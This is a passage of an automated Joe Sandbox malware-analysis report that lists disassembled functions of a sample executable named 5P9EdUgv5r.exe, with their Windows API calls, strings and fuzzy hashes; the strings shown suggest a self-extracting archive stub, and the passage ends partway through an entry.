Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 08e845c3b654f8f1526de8e0b020c7c4b8ea291eea4e35abb0a58479f904fc22
Instruction ID: 3fee461336e5da61cdc9c96908afee0cab5454a41c6dc1abc84e3ef2abf8a095
Opcode Fuzzy Hash: 08e845c3b654f8f1526de8e0b020c7c4b8ea291eea4e35abb0a58479f904fc22
Instruction Fuzzy Hash: A5F0177E8013378B9711BB19BC028197B66F716720348470AF410D6B72CB310861AFF5

Function 00D876BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\5P9EdUgv5r.exe,00000104), ref: 00D876FD
_free.LIBCMT ref: 00D877C8
_free.LIBCMT ref: 00D877D2

Strings

C:\Users\user\Desktop\5P9EdUgv5r.exe, xrefs: 00D876F4, 00D876FB, 00D8772A, 00D87762

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\5P9EdUgv5r.exe
API String ID: 2506810119-2748917032
Opcode ID: cdece0b76f775a5b0c1ae4a889fd73734ed258dd12913622477d01c2356b1240
Instruction ID: b5ab592ec0b6392d82eee76fb0dbab2e31cd05afb875d2a813e966dedcb4f84e
Opcode Fuzzy Hash: cdece0b76f775a5b0c1ae4a889fd73734ed258dd12913622477d01c2356b1240
Instruction Fuzzy Hash: 63315C75A04219AFDB21FB999D81DAEBBECEB85710F284066E80497211D6708E40DBB0

Function 00D67574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D67579

Part of subcall function 00D63B3D: __EH_prolog.LIBCMT ref: 00D63B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00D67640

Part of subcall function 00D67BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D67C04
Part of subcall function 00D67BF5: GetLastError.KERNEL32 ref: 00D67C4A
Part of subcall function 00D67BF5: CloseHandle.KERNEL32(?), ref: 00D67C59

Strings

SeSecurityPrivilege, xrefs: 00D675BE
SeRestorePrivilege, xrefs: 00D675D3

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: eecbc157927e8a3a37f9a25ba7d4fd9c3663ed0efb9b6be9d1a783ca55634de8
Instruction ID: 3339d29a7f56e7b17e4a5945cbcb5fe9a03c7f638df5cc64ebf263f604f7baeb
Opcode Fuzzy Hash: eecbc157927e8a3a37f9a25ba7d4fd9c3663ed0efb9b6be9d1a783ca55634de8
Instruction Fuzzy Hash: 9D317071908249AFDF20EBA8DC41BEEBB69EF15358F048055F449E7292DB744A44CB71

Function 00D7A430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00D6130B: GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
Part of subcall function 00D6130B: SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

EndDialog.USER32(?,00000001), ref: 00D7A4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00D7A4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D7A4E2

Strings

ASKNEXTVOL, xrefs: 00D7A448

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: d1ff05f600aee178bcae8318bb17a1c2414fe742bf58c34e7ae3cb5eb1d2b9ec
Instruction ID: 7920f50b5f7a6272c662504805992e69cfe52b42d685ad9abc653b153e30f228
Opcode Fuzzy Hash: d1ff05f600aee178bcae8318bb17a1c2414fe742bf58c34e7ae3cb5eb1d2b9ec
Instruction Fuzzy Hash: B311D632244302AFD7219F6C9D0DF6A3B69EB86305F184005F34DDB1A0D7A29D11D736

Function 00D6D1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00D6D22E
_strncpy.LIBCMT ref: 00D6D278

Strings

@%s, xrefs: 00D6D218
$%s, xrefs: 00D6D223

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 9934f6f30900b458e4df4970a6e5f05098c80045a27677814bcfb8c284bb0818
Instruction ID: c35d67a273df8df1feb2d1f70cae6971f4c089765bed1f4c7ae738a104c6ca49
Opcode Fuzzy Hash: 9934f6f30900b458e4df4970a6e5f05098c80045a27677814bcfb8c284bb0818
Instruction Fuzzy Hash: 47216F72940348AFDF20DEA4EC06FEE7BA9EF09300F040512FE1496191E371DA599B75

Function 00D7A990 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00D6130B: GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
Part of subcall function 00D6130B: SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

EndDialog.USER32(?,00000001), ref: 00D7A9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00D7A9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00D7AA24

Strings

GETPASSWORD1, xrefs: 00D7A9A9

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 883aa8bfc55ef2364cd6db62a0fece17018e7be2553af1d7c68c1b78611c3b25
Instruction ID: 6add612976dcfd769fdf60df70d2ac37941b50305c0ded6ca73ef96bf6196d53
Opcode Fuzzy Hash: 883aa8bfc55ef2364cd6db62a0fece17018e7be2553af1d7c68c1b78611c3b25
Instruction Fuzzy Hash: 9A114833940219BBDB219A689D09FFE773CEB89310F044011FB89F2180E261DD51DB72

Function 00D6B4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D6B51E

Part of subcall function 00D6400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D6401D

_wcschr.LIBVCRUNTIME ref: 00D6B53C
_wcschr.LIBVCRUNTIME ref: 00D6B54C

Strings

%c:\, xrefs: 00D6B514

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 00608b110025e12610f955855194b2605963fc497eaf323395b71b4dc2659974
Instruction ID: c7cd015a18e968747e2972075988943c5fdbdffa9d180b2024c94c7791f786c7
Opcode Fuzzy Hash: 00608b110025e12610f955855194b2605963fc497eaf323395b71b4dc2659974
Instruction Fuzzy Hash: 7201D263914311ABCB20ABA59C82CABB7ACEE957B07544417F986C6081FB20D984C3B1

Function 00D706BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00D6ABC5,00000008,?,00000000,?,00D6CB88,?,00000000), ref: 00D706F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00D6ABC5,00000008,?,00000000,?,00D6CB88,?,00000000), ref: 00D706FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00D6ABC5,00000008,?,00000000,?,00D6CB88,?,00000000), ref: 00D7070D

Strings

Thread pool initialization failed., xrefs: 00D70725

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 98b6fac6f54a0652bf594d0fb96127b475f47919d5a60bdea478eb88b03de314
Instruction ID: b592857f458d8311fe9a424cd51cfc25125e59518591e8e0d7279fedf831e0aa
Opcode Fuzzy Hash: 98b6fac6f54a0652bf594d0fb96127b475f47919d5a60bdea478eb88b03de314
Instruction Fuzzy Hash: AC1170B1604708AFC3315F65D884AABFBECEB95755F10882EF1DEC2241E6716980CB70

Function 00D7D38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00D7D3C9, 00D7D3FD
RENAMEDLG, xrefs: 00D7D3DE

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 54adc395e48b724537452bef394bc2d2584fd3b3c37ecbc3eea87ce19503f606
Instruction ID: ab54eadc65e485df42ce906eda5c056096ffb4698984d2f2becacec77a154800
Opcode Fuzzy Hash: 54adc395e48b724537452bef394bc2d2584fd3b3c37ecbc3eea87ce19503f606
Instruction Fuzzy Hash: 5B017171A00346AFDB118F14ED44E663FBBEB09394B048426F809D2371EAB29C50FBB1

Function 00D891DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D89269
__alldvrm.LIBCMT ref: 00D8946A
__alldvrm.LIBCMT ref: 00D8948C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: e90b1fa23aba202bba093109adefdb56eea12b49e9ded63ef510ee75c2e44a9f
Instruction ID: 7e0c2428ef87c740546b6bf498bad81070821bb2342262e1b88cee4cb146b3d5
Opcode Fuzzy Hash: e90b1fa23aba202bba093109adefdb56eea12b49e9ded63ef510ee75c2e44a9f
Instruction Fuzzy Hash: 59A14671A00386AFDB21EE68C8A17BEFBE5EF55310F1C41ADE4D59B281D2389942C774

Function 00D6A2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00D680B7,?,?,?), ref: 00D6A351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00D680B7,?,?), ref: 00D6A395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00D680B7,?,?,?,?,?,?,?,?), ref: 00D6A416
CloseHandle.KERNEL32(?,?,00000000,?,00D680B7,?,?,?,?,?,?,?,?,?,?,?), ref: 00D6A41D

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: a839a504798c24d563524e0958f8c0d858b653e89fdcafb2640ed739e008e607
Instruction ID: 58d4c1bc05119cc39de60f45db3b7445b63ddf86754a29bfd007727e708debab
Opcode Fuzzy Hash: a839a504798c24d563524e0958f8c0d858b653e89fdcafb2640ed739e008e607
Instruction Fuzzy Hash: F341CE30288385ABD721DF68CC55BAABBE4AB85700F08091DF5D4E3291D6649A489B73

Function 00D8C099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00D889AD,?,00000000,?,00000001,?,?,00000001,00D889AD,?), ref: 00D8C0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D8C16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D867E2,?), ref: 00D8C181
__freea.LIBCMT ref: 00D8C18A

Part of subcall function 00D88518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D8C13D,00000000,?,00D867E2,?,00000008,?,00D889AD,?,?,?), ref: 00D8854A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 22bf0e72a197a24a927da453e15e6131a8c587d06ff08715faf5cf10e7001aeb
Instruction ID: 537b78b37c3a9d15e4924ff2f4e9c273f845a2487c8fd294aa880641152d67f7
Opcode Fuzzy Hash: 22bf0e72a197a24a927da453e15e6131a8c587d06ff08715faf5cf10e7001aeb
Instruction Fuzzy Hash: E931CD72A2020AEBDB25AF65DC89DAE7BA5EB44710F084129FC04D7251EB35CD51CBB0

Function 00D82503 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00D8251A

Part of subcall function 00D82B52: ___AdjustPointer.LIBCMT ref: 00D82B9C

_UnwindNestedFrames.LIBCMT ref: 00D82531
___FrameUnwindToState.LIBVCRUNTIME ref: 00D82543
CallCatchBlock.LIBVCRUNTIME ref: 00D82567

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: 088ea336e681ba1c2279f7a3bb37e01b2e6b9c496e1a32cf631283856ed16acb
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: 49011332000108BBCF12AF65CD41EEE3BBAEF58710F058455F91866120D376E961EBB1

Function 00D79DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D79DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00D79DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D79DDB
ReleaseDC.USER32(00000000,00000000), ref: 00D79DE9

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 758b37ed5a42f6829ba7007cef1cd63096d78c139136fc7893f2d46b3b526397
Instruction ID: 906613124b255d65a0b3dcdbacfa2afb192b9d9a792c3175416ac1f34aec1a16
Opcode Fuzzy Hash: 758b37ed5a42f6829ba7007cef1cd63096d78c139136fc7893f2d46b3b526397
Instruction Fuzzy Hash: 28E0EC31985723A7D3201BA4AC0DFAB7B55AB0E712F050016FA06D6390EAB44405EBB5

Function 00D82016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00D82016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00D8201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00D82020

Part of subcall function 00D8310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00D8311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00D82035

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: 10be3bb8d72352ea7f73e1b7f4dab5134ceaee52e25cf0635e7e27711cc42216
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: 5FC04834004744E41C223AF6221A6BE0B18CC62FCABA620C2ECC817107DE064B0BA337

Function 00D79F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00D79DF1: GetDC.USER32(00000000), ref: 00D79DF5
Part of subcall function 00D79DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D79E00
Part of subcall function 00D79DF1: ReleaseDC.USER32(00000000,00000000), ref: 00D79E0B

GetObjectW.GDI32(?,00000018,?), ref: 00D79F8D

Part of subcall function 00D7A1E5: GetDC.USER32(00000000), ref: 00D7A1EE
Part of subcall function 00D7A1E5: GetObjectW.GDI32(?,00000018,?), ref: 00D7A21D
Part of subcall function 00D7A1E5: ReleaseDC.USER32(00000000,?), ref: 00D7A2B5

Strings

(, xrefs: 00D7A0A3

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: f61a0b5a1ea2de2ab9f7a9978f8638172219271a674ff4d6d99c6b22684a6bc3
Instruction ID: 5446928c14c96c69127f3b6c736c4e2bc6b4a3a7a6b8e9c692a7900d91fc6298
Opcode Fuzzy Hash: f61a0b5a1ea2de2ab9f7a9978f8638172219271a674ff4d6d99c6b22684a6bc3
Instruction Fuzzy Hash: CD810171608315AFD714DF68D844A2ABBE9FFC8714F00891EF98AD7260DB31AD05DB62

Function 00D70E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D70FF1

Strings

%s: %s, xrefs: 00D71000
%ls, xrefs: 00D70E76, 00D70E8C

Memory Dump Source

